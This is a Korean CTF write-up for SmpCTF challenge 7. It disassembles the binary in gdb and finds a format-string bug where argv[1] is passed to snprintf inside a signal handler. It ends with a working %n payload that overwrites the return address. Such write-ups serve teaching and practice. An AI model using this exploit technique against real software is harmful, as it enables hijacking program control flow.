SmpCTF challenge7 – writeup
문제가 끝나고 나서하는것이기 때문에, 문제 파일을 mycomputer에서 실행하고 있습니다.
redbit@redbit:~/smpCTF$ ./challenge7_bin 'hello world' Fail redbit@redbit:~/smpCTF$ ./challenge7_bin 'why?' Fail redbit@redbit:~/smpCTF$ ./challenge7_bin `python -c 'print "a"*99999'` Fail |
대충 해본결과 bof 계열의 문제는 아닌것으로 파악되었습니다.
0x0804850b <+0>: lea 0x4(%esp),%ecx 0x0804850f <+4>: and $0xfffffff0,%esp 0x08048512 <+7>: pushl -0x4(%ecx) 0x08048515 <+10>: push %ebp 0x08048516 <+11>: mov %esp,%ebp 0x08048518 <+13>: push %ecx 0x08048519 <+14>: sub $0x14,%esp 0x0804851c <+17>: mov %ecx,-0x18(%ebp) 0x0804851f <+20>: movl $0x0,-0x8(%ebp) 0x08048526 <+27>: sub $0x8,%esp 0x08048529 <+30>: push $0x80484c4 0x0804852e <+35>: push $0x4 0x08048530 <+37>: call 0x8048374 <signal@plt> 0x08048535 <+42>: add $0x10,%esp 0x08048538 <+45>: mov -0x18(%ebp),%eax 0x0804853b <+48>: cmpl $0x1,(%eax) 0x0804853e <+51>: jg 0x804855a <main+79> 0x08048540 <+53>: sub $0xc,%esp 0x08048543 <+56>: push $0x8048665 0x08048548 <+61>: call 0x80483d4 <puts@plt> 0x0804854d <+66>: add $0x10,%esp 0x08048550 <+69>: sub $0xc,%esp 0x08048553 <+72>: push $0x0 0x08048555 <+74>: call 0x80483f4 <exit@plt> 0x0804855a <+79>: mov -0x18(%ebp),%edx 0x0804855d <+82>: mov 0x4(%edx),%eax 0x08048560 <+85>: add $0x4,%eax 0x08048563 <+88>: mov (%eax),%eax 0x08048565 <+90>: sub $0x4,%esp 0x08048568 <+93>: push $0x3ff 0x0804856d <+98>: push %eax 0x0804856e <+99>: push $0x80497c0 0x08048573 <+104>: call 0x8048394 <strncpy@plt> 0x08048578 <+109>: add $0x10,%esp 0x0804857b <+112>: sub $0xc,%esp 0x0804857e <+115>: push $0x4 0x08048580 <+117>: call 0x80483c4 <raise@plt> 0x08048585 <+122>: add $0x10,%esp 0x08048588 <+125>: sub $0xc,%esp 0x0804858b <+128>: push $0x0 0x0804858d <+130>: call 0x80483f4 <exit@plt> |
빨간 글씨의 내용을 보면 0x4의 signal을 등록하고 종료하기전에 signal을 발생시키는것을 볼 수있습니다.
또한 입력받은 문자열을 ( argv[1] ) 0x3ff 만큼 0x80497c0으로 복사하는것을 확인할 수 있습니다.
#define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGBUS 7 #define SIGFPE 8 signal.h |
대충 signal의 종류를 보면 4번은 잘못된 명령일때 발생한다고 되어있는데, 여기서 별로 중요하지는않습니다. ( 왜냐하면 인위적으로 발생시키고 있기 때문에 )
어쨌든 signal의 handler를 보게되면,
0x080484c4 <+0>: push %ebp 0x080484c5 <+1>: mov %esp,%ebp 0x080484c7 <+3>: sub $0x88,%esp 0x080484cd <+9>: sub $0xc,%esp 0x080484d0 <+12>: push $0x8048660 0x080484d5 <+17>: call 0x80483d4 <puts@plt> 0x080484da <+22>: add $0x10,%esp 0x080484dd <+25>: sub $0x4,%esp 0x080484e0 <+28>: push $0x80 0x080484e5 <+33>: push $0x0 0x080484e7 <+35>: lea -0x80(%ebp),%eax 0x080484ea <+38>: push %eax 0x080484eb <+39>: call 0x80483a4 <memset@plt> 0x080484f0 <+44>: add $0x10,%esp 0x080484f3 <+47>: sub $0x4,%esp 0x080484f6 <+50>: push $0x80497c0 0x080484fb <+55>: push $0x7f 0x080484fd <+57>: lea -0x80(%ebp),%eax 0x08048500 <+60>: push %eax 0x08048501 <+61>: call 0x80483e4 <snprintf@plt> 0x08048506 <+66>: add $0x10,%esp 0x08048509 <+69>: leave 0x0804850a <+70>: ret |
위 코드에서 눈여겨 볼 점은 bof는 안통한다는 사실과, 버퍼의 크기체크를 열심히 하고 있기 때문에,
위에서 보았던 0x80497c0를 지역변수쪽으로 snprintf(..)한다는 사실이고, 이것을 보다 아주 쉽게
한다면, 아래와 같은것이다.
snprintf( stack_buf, 0x7f, argv[1] ); |
위와 같은 코드는 format string bug를 낳게되고 이것을 이용해 ret주소를 변경시킬 수 있다.
(gdb) r `python -c 'print "\x8c\xe6\xff\xbfAAAA\x8e\xe6\xff\xbf%x%x%62403d%n%52263d%n"'` (gdb) disass … ... 0x08048509 <+69>: leave => 0x0804850a <+70>: ret End of assembler dump. (gdb) x/x $esp 0xbfffe68c: 0xbffff3d8 |
그리고 위와 같이 ret 주소를 변경시킨것을 확인할 수 있다.
Clear!